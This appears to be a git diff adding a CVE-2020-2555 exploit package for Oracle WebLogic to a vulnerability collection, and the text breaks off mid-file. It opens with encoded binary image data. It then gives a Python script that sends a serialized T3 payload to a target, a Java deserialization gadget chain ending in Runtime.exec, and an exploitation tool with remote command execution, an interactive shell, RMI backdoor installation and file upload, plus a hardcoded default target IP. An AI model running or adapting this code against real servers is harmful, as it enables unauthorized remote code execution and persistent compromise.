zqXdutMIA}gdxTx-W|>dMfB4Hy&=lFlkr|zGkKb-IKsRTqC{+5rYv}b(gNr|pdzZ@| zRACvo+1j9X^Dm~r1obl_0eZV%0)^b7!BvNY7>~|JDGWBm1t_F(kRv>y`4Ob=H?jg> z2->YovcMxnsmz~PZ`KgR8Xuo8BI?4A<}AP`N_WKMz5 z(iD@NrqIIKmU0j01UOrz@b+B&&>X^v@PbNqrCbO#>tlh3UqAtwb+yBGbZ9Au^wKzIjBq-~uOm2Ttv1Sbi94-k+9EGvAOAkSt-&T?#;gL8vT7?4 zf6`CT+i=;jRSi-xLD{)pXI|eAYY*z7`E9y%Etv&k#+s1XoP}rn0d$Qj9I;o1 z{40CZIqoPsLjIg6YNRhrUYP9nZiK0iN S@8W|L~c}Oi^n)i-v2Jyh? zNHQ`7)m@1jJu3q2?M5?4`FuM)<{pfkN)89}<7wjYvult`vH^zwc^(^z)uy>E~>ZN-Aap%w3`QTqZw)Au4;Jm%3~(GCwOKvxsfGLg67n7`l>$CyN zC4}+jkz_HVX511k8FS@Q;G1z=3;>evgCf5@Nhfxf+A^K|2(JS&*RY+9SGr+4?(6`= z0E&8^+Nu#-ThpN?f~4BU?xp6A3}UI{600a0Id?u5OElbrwMk_YvOsDevmT2hpNdW- zE1#CXE+{#H`IclJuX^%6sp5u?M}j6duuDF+xv8fK?#CTMQs=$zLQRh2UbF?fim+gp zMa@!=Y`2ez664d9NiQVwXNDmH4|qhg367R{ep1J}*$x3DR%u#}5H) zH?L9$DF@l;mK|KYYNoa{@1Ut`RX$sBwS(2ULxe(>oqR&FwsG(L5}UIc)v&7HWBsPW z+We)Gt}`crI~1KMEp8;@_^nb|m7NECB9reTyOqJTba;Y7{I^|+#jDdfx+Ten*m}md zC_HJd!B8r z4|JIL93qRsB~0a0EVd(%a(s7gy;Zv8Vf8^0*w^ssZ`}=cOT772$pg$%-_ALtJ^GRN z5orCKQer2+>0k6>$xQl~4lc~w|VU|KMmgFhgBm4@MMjONnkhfY220Q6 zE6uCZ4p6G972*x{nB_Z0CnU~ek}8OU4D6hkfJEMJ4p9}@#Ne@qn1b-0qMK1eM;(UXz8@wT%BxoIAK zJ>Jq>WP*@j1Fy34T)D2$%l|<9(&$467EygG)QF0>-Fo_fWi?}!C3Q8X-DcC_%) z{rgF-ZprxGhAAFt@N6}6?dI=E4*`2pe!mTQ^o34|+JOP3L?i1%oeGrp57#}erz*;` z3pR1WAQoE`S=%j272hCIS@;h>3F75X&H$!b8IhdjIbZgH%JJ$OqIuCD-U)Riu9=TM?^^rVdjnjT@`e6f5S2JQ*&+9-+@eEH zimb-YtA=62%ZpcNr$zN;q>K)t`(gMDoi_qhW=@}`nto6$fkszl-mrz08u3^}{IDW7s(b?Lh_F z)V28pS`$yar_H^Zi44uKB+>b=EYfS;uSSD+zZ5&m@0-|@++&Xyx>N(_*CRSXfK`@2 z>y#-TkiqYc_w&|z^~#k4YoTCW=VPf+HCkUgg%(s0k%4kw27I+{KbMz=Mf3GEU#7|g zMp3e>CqIaLAAItVSD8~U!ITSK#i3s}uDx8u#j`XJz=EiyR0`rPt`KHZgcrLG^B-L- z4u^b?2D@*X)@w_l?fhLzY5~z)yqaS7b;f zv)-Kp)&*vx{#L?ODN?yR3$%i53|p%P7jeOe)>;#dKz6=jr@0pwe=3(IZhJJCU;MLR zy46+2MVFmj@XWnHKLKyD9>QbIw88`Ev2b`33kg}mz7nxm8Mb)F2V-9$C}Rt%=r|Y^)tjijk(C_xbFfbm)e?Wg)8DKA<`yfCJ%o z=@4)v0!ik+6f0Obqh1K5NcFU+Cmt4QF;8R}G;~Yc8twyKPf9_HX$oW~HOO^-yb0m>pp=?ER6` z&5r>b&-*ZBH+6eIv)Y`r3uQ$fG%I#-jKKONtKz*3! z^~;AA$5vWs_R2DMu6zrwL%~%ZbKSCzp+b*E?(N)uNiUb;@#3(|W*f?!n$LZb9K`qh zuNFah*KHwAeTpVPBMdGtZ8m{Bz*@NJMg4vJ2Q@bn>$3kQx3tTaK*s?%=W@*iS7g=n zQ5!95`%2e3ZZF>COrT)r(voBP!k=Pl?tETQjIdDL(<`;FfGiYc8ghe((fXccD8O~pfT?w!PmmmQ+>g0j=c`P*=t-n0>&2Tsl!!;Yq zhZO9BwK1+m`0jqWJnTcz=MZ0{!*IwM2`};+<{mFzNSWEf#tRzkRG5I@>jhR1ejsT( zqh+bTT&gM(h0klcI8d2gpsCgOB)-k`wo}8&+t`YmdiB$>%P+y!+s0ty2E_8cI=v`? zN|{uV$X9lw#)9F$ZE6-*PPu}P(uB01C0=^N=`<~CKiv)(1&sJ9_X(+o*yRv#P zLp21P(()_M`mZ5+d-D3n3@%dQLb>?ebnC!z&21Xqq9m-R<|*-Fv6B2}+q#cq^%xR!SA zlC&?NuCmBHvF>ZR5`TvJG48n1;g6Q_578aR`_mo)Ltec4j?0^#^aj>-n^lQVl3E}# zPs9=xv?fLC)J>tY*LdSJOWfJxPgtdefI|(GfRF7xoIv~7^T}v~q-`uHb({LIp7!NL zW5|MH7eL61C_tXEyc+*D+)7PIoq7+q8z|cRdV)Q_L<#%H;#_LLt;>ddlJ>oz&=1S% z-Dd!@!Z60>!!N%zPq<~c*aocrsASD+)nx5?(-S;5sFz==a@a7-gt4m3f%#X{VRiaB z_&g^<>8o{DyC?_Ak zmK`}=;_ExZgQ4}Wrj#3r+LlR@mcWSU`XX>!u+#m(oIW8SS<|){?Qr{CRhGF02ZVRP zy7;X*Bt{cCsos-%rBE_S#a_!+w)m~DHB=28$eB7(z*Hs0FWGyhH>0AKM0=&mrS{tJ z^nruDPozi%0!fj&NZm_FW$HDDvpM?VZRu7;{t?~beob3&6-?5;E~*TvEI<`>;=ZBg z4e!%wosD@&*#pR^Al&d074>hJnCNe6tpzAY(P@|xMC znt8nX)%uVapc^m>#Fx#qjTIZ7stu_nm0?|#1a^ZfXCsbFPqzbOjhDg3k10^-O8=D) z+bcAco?FMV@3wz)Na3!A_I0Q#UC}j04|5P1fGeTB{j`j91?U)~#=AW+a!3H~*ktVu zQG1{VnQcm|d-OSh5}@HEODH>VG+q84BqeT!RyxR3J0bWzxn#L?;I&*6a}s|PJ5s0S z%iuCUhhS7F^82Hdf(|aIRSFKoTq%YDU`3Y~cp@!}x$kl^@T&nI-yt2R9j`*q%P@D; zeOpMY@tF60^@#D!e+N(?xT(QAE}!zN$oI3Qo`lRR;5NpP}lf1avr9WHZ$#8GtkMe&ttmkVj(=ed!W35Ws)o2%}|gzv<0 zqqV%M2jKiGyv)VP+wOI-^qSGKCS&0Aj0pjO_3YjfkU#nTuyS%<*C>wMgv-a4<+s=s2g$C_VEs;L~{=hQ3qm)hTYbMkTg>qO~=sxO0U z`L-V`Yqo_NTM>?9*h|mzO9r~RNMMecK=C6IIw9f)Qa{0oYu@n8mCxs(pq0Vdw5MOs zS(PZ=5Dvb^r7rp{*6aAjIqBab znxTX-D&NXrGuQIWO3PZMD8NHXd%`j#^p!b;P~(ZSRyia;-otN$|1U)oa!ZY7?hNf>Vkw zh4MZG7Ygp*ayI9G>kS-5zCNd^W2f$%=7u*;G@4xTk~Mkz!|+B|y|ZOg1wA+iX=IiD z|Lf&j*t~JPB(>%n5LK|8%%S9H# z*Zkm7HK+KuWWrF+yicB%o-wa^gp%&NvRwc{+x7QL0!obPOYx8RIx`__sCAo+KbwEh z=RTPTpqA&4yd4beN7Soo(L1Gk`xC{BP)=L}FJu~oc5Gb!6RL)cp5~yZn~$R2%F+tI z-jw;P;xpUsEgX=|v-0_#=H>?b!NHF)Foeg7a4L)Rh^yK6^-mA@#_X?8!kfg+KU$#* z0MxQQlp?0mz1VKgzXQ+fW0_VV?{f7zeD(6bZ^jg8qvt>B>Ru+Sa@hKdji`%7le?&8 z0>BteW&d^4QaXHQEACAMZ>MR0K~hrvsZm9C5fwU>1CP0isqGa)p@te|fp!SxJHEUR z<6~a7mSI`DkZ|+#bOSSvv%bC5+ipQ%qrc}`Ac`8|TkPMTb{~>d*?3qMkV-P2)M)}F&rDZ2IChGm$dfYjF_w>q zOd#IhwdmVPnrf=qu_3+GJtoPR7A@tVWX+FiT-4GSqGS3~^^Qw!&02zQ-y@18^*zPr&PEV^-w7D&Kg5Hl-}bB3G%}OK>_$e@ z$!i^0;e<>lA!@K0UhNn&$KFS(3GJOI9#bZOTSMDIH?5u>`29Q*1{ouVnT$|g)aauy zI6?9WT%m##DwSPj`ULzsoBlXW0$jQABnq?l+Fw9xI~>kHsW?G9v1!b}ZUwB(r(GP_ ziGS(QzYop%BmsVIT(|)W!G!(e4HP$Ks)39C%Lmco+(6R4&D>-~I%3oR@k#e~C!xX3 zMXyc&r8#o+3*YoTI=KeD4X;xqU)t4kvBLM!1BQV*WNkQpb*@h6k6Iz7G}J2l>gdbO zRj|HfH@<2~*}XcJq9LuMbOcXb${PCl>E3*XCB-PohBG zqWFfWo}%w7C(b@szE;S2oAyaCj8OP%&uZPUS%VPMW@<6ODE{-Eg-_JeofqX82QJLl zTT;&lHg3m_fV*>v+uQa(tCKEDnHjV zaiOoVtL=pC+L-&-Fe)1KyFgo~g5Q{oY1H>tPA^hFwkwyuRG?PZU^pX%>5klnE1ymj zwK?=)tjiQkhJ+J5hPgJno32iP8~#VkrsfCzlmotn7j$1*Wg@)214u8mV`dwZyN?bs z{9|KylS@vQ`HeoB?0)1^bMw0)mVI4B;AS;+nc3_B^_~T4P+>AcfU}4byPm}X-*^Tn zfWM^)0Ii$j+W1eAup&ryKfw1x1OmHnRETwBhIjt+=KtGLvq67P*!$1P-57y5k$=3* z|F&oskuWIdiKf90JYd>XJkI$o{npK!t3U7`%fNF}d9=*b35;#Wh1Xv2TRppnx<)6a zqPJ(iInjTwF2AJ{D4cZi*>Kg{SK!aEO@Q3_BZN8{Ajd9D7X zKK{qWi}H-}DXo>0+*BR^)BsVOOUmv-kuCIILTT$bpP^WMbbl818`)}Im%-De{;|Bf zecvY+Eji3jSkf+W2&x>yueD_jt~M5YN71Qk=Q=of2Jw_&rAMiW&EF!{ExoS9{Y;>t}Xh~_2OC6e{cEU z4gtdl)bCp_9(2rV-O%`3cw4SBi0~g7pW-xT#30gOX{$AwvtcW);9x3ZE z_g(*eIk%)y?woq3|0h0BCdW?y`$Y|M8B%vcy4hYxO94GIqPcE_0DB7#u~vNoA*r`1 zFh(6rT5XF407qVZ2!$<2WV=1rl~Rb|e+^5Ie}n~X9nRepvi_D1>Jws~Wt_f=aQSkb<4!3*(r=)R-p8}slp7?V;9oUDa8^N0HT1A|T@DD9EN~-^c z8Fdv-M3TOL!jztOafl|JSbwxrs^nrgn5fYF9Utlo#f0)6QHkyUa+AJEn3g5O(q7ZXgbYF6TZZz)dY&fEHnwqV0j##;XS`n#M~KmOP%eEQ^HM#o3K@ZKNUN%q`|&D>AN z27cI!G@3Mr7c@QBl4$VhffoRIuYH~+3n4n6{k9I9PXK6MNCL{ZZDGTfJs;m2sGP-> zG!c}<3ZJtcDbAH3rX&FuG?f7o5O;`Z?Ud%L1gWHVIPk9XjX7zUa))7RxGpBep>uzOcM*0EI#X;i}v(L&W z%LVN_oQNZ24Ph>7gw<#2&fneIZudpZwn4MvLXF-z_ir5$1V{bW5y^6A{uXB-wZa$#O+PiB{Y!|-u#>{He?>$%hN4lifDQV6 zkw>=k_9M<^cRc6`BD;Dzqkl4?$Qt|B9;gpY$_v_#otri$kll5VaG<@f>@? zV>%r7U1;C$3#8an17a0X5vo`&)oSP~PvYp8$F|h%HPi^qXKGv!3vFWr&cQoMML6&3 zT;OSOhLa-3;NkT3i-VkZzYDRqpd^0Z?FW}4GneuOF4Z*pt=^4(QLHCh?IbZhKQkE) z2YqP%TGk^7#?A%q7H3cdn3j;~>t`o915QqI{x*61^@0+CNpb{kctSsDdNK%Zf9Jap zJdoZRgA%W$?^3=1clUxmRaa6U{r+I|#dk#(II846S02%w3};{e@A|XAK@!Q`1E2kF z?;kx^{ynAeH_v$&vCR(%>JO*4Z2n<-swHvr_di$<7jtj^f!VL=4)XH59eXjVxB0t& oz@Pu;A?t(j|A*mX^I#7jW&GQ2+n{ literal 0 HcmV?d00001 diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.py b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.py new file mode 100644 index 00000000..611c6828 --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/CVE-2020-2555.py @@ -0,0 +1,36 @@ +import socket +import os +import sys +import struct + +if len(sys.argv) < 3: + print 'Usage: python %s ' % os.path.basename(sys.argv[0]) + sys.exit() + +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.settimeout(5) + +server_address = (sys.argv[1], int(sys.argv[2])) +print '[+] Connecting to %s port %s' % server_address +sock.connect(server_address) + +# Send headers +headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' +print 'sending "%s"' % headers +sock.sendall(headers) + +data = sock.recv(1024) +print >>sys.stderr, 'received "%s"' % data + +payloadObj = open(sys.argv[3],'rb').read() + +payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00' +payload=payload+payloadObj +payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78' + +payload=struct.pack('>I',len(payload)) + payload[4:] + +print '[+] Sending payload...' +sock.send(payload) +data = sock.recv(1024) +print >>sys.stderr, 'received "%s"' % data \ No newline at end of file diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/README.md b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/README.md new file mode 100644 index 00000000..a778480f --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/README.md @@ -0,0 +1,11 @@ +# CVE-2020-2555 + +http://1984-0day.com + +https://www.youtube.com/watch?v=VzmZTYbm4Zw + +``` +python CVE-2020-2555.py ip port test.ser +``` + +![png](https://github.com/wsfengfan/CVE-2020-2555/blob/master/CVE-2020-2555.png) diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/CVE_2020_2555.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/CVE_2020_2555.java new file mode 100644 index 00000000..1ba6f2cd --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/CVE_2020_2555.java @@ -0,0 +1,119 @@ +package com.supeream; + +// com.supeream from https://github.com/5up3rc/weblogic_cmd/ + +import com.supeream.serial.Serializables; +import com.supeream.weblogic.T3ProtocolOperation; +import com.tangosol.util.extractor.ChainedExtractor; +import com.tangosol.util.extractor.ReflectionExtractor; +import com.tangosol.util.filter.LimitFilter; + +import javax.management.BadAttributeValueExpException; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; + +// com.tangosol.util.extractor.ChainedExtractor from coherence.jar + + +/* + * author:Y4er.com + * + * gadget: + * BadAttributeValueExpException.readObject() + * com.tangosol.util.filter.LimitFilter.toString() + * com.tangosol.util.extractor.ChainedExtractor.extract() + * com.tangosol.util.extractor.ReflectionExtractor.extract() + * Method.invoke() + * ... + * Runtime.getRuntime.exec() + */ + +public class CVE_2020_2555 { + + public static void main(String[] args) throws Exception { + // Runtime.class.getRuntime() + ReflectionExtractor extractor1 = new ReflectionExtractor( + "getMethod", + new Object[]{"getRuntime", new Class[0]} + + ); + + // get invoke() to execute exec() + ReflectionExtractor extractor2 = new ReflectionExtractor( + "invoke", + new Object[]{null, new Object[0]} + + ); + + // invoke("exec","calc") + ReflectionExtractor extractor3 = new ReflectionExtractor( + "exec", + new Object[]{new String[]{"cmd","/c","calc"}} + + ); + + ReflectionExtractor[] extractors = { + extractor1, + extractor2, + extractor3, + }; + + ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); + LimitFilter limitFilter = new LimitFilter(); + + //m_comparator + Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); + m_comparator.setAccessible(true); + m_comparator.set(limitFilter, chainedExtractor); + + + //m_oAnchorTop + Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); + m_oAnchorTop.setAccessible(true); + m_oAnchorTop.set(limitFilter, Runtime.class); + + // BadAttributeValueExpException toString() + // This only works in JDK 8u76 and WITHOUT a security manager + // https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); + field.setAccessible(true); + field.set(badAttributeValueExpException, limitFilter); + + // serialize + byte[] payload = Serializables.serialize(badAttributeValueExpException); + + // T3 send, you can also use python script. + System.out.print(payload); + //T3ProtocolOperation.send("127.0.0.1", "7001", payload); + + // test + serialize(badAttributeValueExpException); + deserialize(); + + } + + public static void serialize(Object obj) { + try { + ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); + os.writeObject(obj); + os.close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void deserialize() { + try { + ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); + is.readObject(); + } catch (Exception e) { + e.printStackTrace(); + } + } +} + + diff --git a/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/Main.java b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/Main.java new file mode 100644 index 00000000..1dd9124a --- /dev/null +++ b/cve/Oracle/2020/CVE-2020-2555/CVE-2020-2555-master/supeream/Main.java @@ -0,0 +1,235 @@ +package com.supeream; + +import com.supeream.serial.BytesOperation; +import com.supeream.ssl.WeblogicTrustManager; +import com.supeream.weblogic.WebLogicOperation; +import org.apache.commons.cli.*; +import weblogic.cluster.singleton.ClusterMasterRemote; +import weblogic.jndi.Environment; +import weblogic.utils.encoders.BASE64Encoder; + +import javax.naming.Context; +import javax.naming.NamingException; +import java.io.FileNotFoundException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Scanner; + + +public class Main { + + public static final String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; + public static String TYPE = "streamMessageImpl"; + public static List types = Arrays.asList(new String[]{"marshall", "collection", "streamMessageImpl"}); + public static String version; + public static CommandLine cmdLine; + private static String cmd = "whoami"; + + + public static Context getInitialContext(String url) throws NamingException, FileNotFoundException { + Environment environment = new Environment(); + environment.setProviderUrl(url); + environment.setEnableServerAffinity(false); + environment.setSSLClientTrustManager(new WeblogicTrustManager()); + return environment.getInitialContext(); + } + + public static boolean checkIsAlreadyInstalled(String host, String port) { + try { + System.out.println("检查是否安装rmi实例"); + Context initialContext = getInitialContext(converUrl(host, port)); + ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup("supeream"); + System.out.println("rmi已经安装"); + invokeRmi(remoteCode); + return true; + } catch (Exception e) { + if (e.getMessage() !=null && e.getMessage().contains("supeream")) { + System.out.println("rmi实例不存在"); + } else { + e.printStackTrace(); +// System.exit(0); + } + } + + return false; + } + + public static void executeBlind(String host, String port) throws Exception { + + if (cmdLine.hasOption("B") && cmdLine.hasOption("C")) { + System.out.println("执行命令:" + cmdLine.getOptionValue("C")); + WebLogicOperation.blindExecute(host, port, cmdLine.getOptionValue("C")); + System.out.println("执行blind命令完成"); + System.exit(0); + } + + } + + public static String converUrl(String host, String port) { + if (cmdLine.hasOption("https")) { + return "t3s://" + host + ":" + port; + } else { + return "t3://" + host + ":" + port; + } + } + + private static String cdConcat(List cds) { + StringBuffer stringBuffer = new StringBuffer(); + for (String cd: cds) { + stringBuffer.append(cd); + stringBuffer.append("&&"); + } + return stringBuffer.toString(); + } + + public static void invokeRmi(ClusterMasterRemote remoteCode) throws Exception { + String result = null; + + if (Main.cmdLine.hasOption("shell")) { + Scanner scanner = new Scanner(System.in); + List cacheCmds = new ArrayList(); + + while (true) { + System.out.print("please input cmd:>"); + cmd = scanner.nextLine(); + if (cmd.equalsIgnoreCase("exit")) { + System.exit(0); + } + if (cmd.startsWith("cd ")) { + cacheCmds.add(cmd); + } + + if (cmd.equalsIgnoreCase("clear")) { + cacheCmds.clear(); + continue; + } + + if (cmd.equalsIgnoreCase("back")) { + cacheCmds.remove(cacheCmds.size()-1); + continue; + } + + String newCmd = cdConcat(cacheCmds); + + if (!cmd.startsWith("cd ")) { + newCmd += cmd; + } else if (newCmd.length()>3){ + newCmd = newCmd.substring(0, newCmd.length()-2); + } + + + if (Main.cmdLine.hasOption("noExecPath")) { + result = remoteCode.getServerLocation("showmecode$NO$"+newCmd); + } else { + result = remoteCode.getServerLocation("showmecode"+newCmd); + } + + System.out.println(result); + } + } else { + System.out.println("执行命令:" + cmd); + + if (Main.cmdLine.hasOption("noExecPath")) { + result = remoteCode.getServerLocation("showmecode$NO$"+cmd); + } else { + result = remoteCode.getServerLocation("showmecode"+cmd); + } + System.out.println(result); + } + } + + public static void main(String[] args) { + + System.setProperty("weblogic.security.allowCryptoJDefaultJCEVerification", "true"); + System.setProperty("weblogic.security.allowCryptoJDefaultPRNG", "true"); + System.setProperty("weblogic.security.SSL.ignoreHostnameVerification", "true"); + System.setProperty("weblogic.security.TrustKeyStore", "DemoTrust"); + + Options options = new Options(); + options.addOption("H", true, "Remote Host[need set]"); + options.addOption("P", true, "Remote Port[need set]"); + options.addOption("C", true, "Execute Command[need set]"); + options.addOption("T", true, "Payload Type" + types); + options.addOption("U", false, "Uninstall rmi"); + options.addOption("B", false, "Runtime Blind Execute Command maybe you should select os type"); + options.addOption("os", true, "Os Type [windows,linux]"); + options.addOption("https", false, "enable https or tls"); + options.addOption("shell", false, "enable shell module"); + options.addOption("upload", false, "enable upload a file"); + options.addOption("src", true, "path to src file "); + options.addOption("dst", true, "path to dst file "); + options.addOption("noExecPath", false, "custom execute path"); + + try { + + String host = "202.60.207.169"; + String port = "7001"; + CommandLineParser parser = new DefaultParser(); + cmdLine = parser.parse(options, args); + + if (cmdLine.hasOption("H")) { + host = cmdLine.getOptionValue("H"); + } else { + HelpFormatter formatter = new HelpFormatter(); + formatter.printHelp("supeream", options); + System.exit(0); + } + + if (cmdLine.hasOption("P")) { + port = cmdLine.getOptionValue("P"); + } + + if (cmdLine.hasOption("C")) { + cmd = cmdLine.getOptionValue("C"); + } + + if (cmdLine.hasOption("T")) { + TYPE = cmdLine.getOptionValue("T"); + } + + if (cmdLine.hasOption("U")) { + 